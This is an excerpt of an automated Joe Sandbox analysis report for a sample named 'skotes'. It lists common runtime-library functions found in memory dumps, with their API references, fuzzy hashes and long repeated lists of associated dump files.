Instruction ID: d9a1e65b5afaa153c7b47c14c57eecf0b6e95f1c5eaa0ba2ce7182aa30569055
Opcode Fuzzy Hash: 0e35d549b437ac66f1839ac92e45ff1b2cb8790e461da1b13474f616f545b220
Instruction Fuzzy Hash: 122167317122009BEB089BA8EC897EDB723DB95310F28461DE42CD77E5CB7586C08762

Function 0064D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0064A813,00000001,00000364,00000006,000000FF,?,0064EE3F,?,00000004,00000000,?,?), ref: 0064D871

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c2ed8b2c3c305ccfa3839c9fe643f2faa55aa4534311872191c1e92fabb70edc
Instruction ID: cfe3af5aaa182d82b114e7f6bd510e5a9fc0b39ebd0bd087c8a63a18f72b05d3
Opcode Fuzzy Hash: c2ed8b2c3c305ccfa3839c9fe643f2faa55aa4534311872191c1e92fabb70edc
Instruction Fuzzy Hash: ACF0E232E116246EEB613A729C01BBF375BDF95370B188021FC08AB291DA20EC0186E0

Non-executed Functions

Function 0064CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0064CC66

Strings

vd, xrefs: 0064CBE1

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vd
API String ID: 3213747228-3616272301
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: a460c0b09a48e37c6ee6a9d3c2e6fdbd8bcf807612c28d6bbace3128253b6885
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 20B10232D066459FDB55CF28C881BEEBBE7EF45360F1441AAE855EB341D6348D02CBA4

Function 00612EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00612F5F
__Mtx_unlock.LIBCPMT ref: 00612FCC
__Cnd_broadcast.LIBCPMT ref: 00612FE3
__Mtx_unlock.LIBCPMT ref: 006130F5
__Mtx_unlock.LIBCPMT ref: 0061319B

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 9164bf77744288e150209721828d7f16bd5e822fb2be1a500afcdccee2ca71b1
Instruction ID: b7405b99c402927f77947860a41ba0b3e575ce6ff365c6ed10a7dddbe51b4276
Opcode Fuzzy Hash: 9164bf77744288e150209721828d7f16bd5e822fb2be1a500afcdccee2ca71b1
Instruction Fuzzy Hash: 78A1F270901A26EFDB10DF64D9457DAB7EAFF19320F188129E816D7341EB31EA84CB91

Function 0062BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0062BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BBE4
_xtime_get.LIBCPMT ref: 0062BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0062BC13

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 58fd67c4c11203932cf14b05111fb7094349591e679eb1b5a4820c573e917f48
Instruction ID: 544551bdc226d239f300b9b3947630fadadfc86e669365350b3237f1a9ad1a81
Opcode Fuzzy Hash: 58fd67c4c11203932cf14b05111fb7094349591e679eb1b5a4820c573e917f48
Instruction Fuzzy Hash: E9213271A00529AFDF40EFA4ED819BEB7BAEF08720F101029F901B7251DB709D419FA4

Function 0064F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0064F3A3

Strings

8"g, xrefs: 0064F44B
`'g, xrefs: 0064F375

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"g$`'g
API String ID: 3903695350-151162620
Opcode ID: 8006c1cbe04065090410a99767146c77c67963709850ba2cc05367a8a9fd8417
Instruction ID: 54d7d7944e58c16dcaffaa2bb04a10d0618e493d9590c52a280c8a87ccc0f0a1
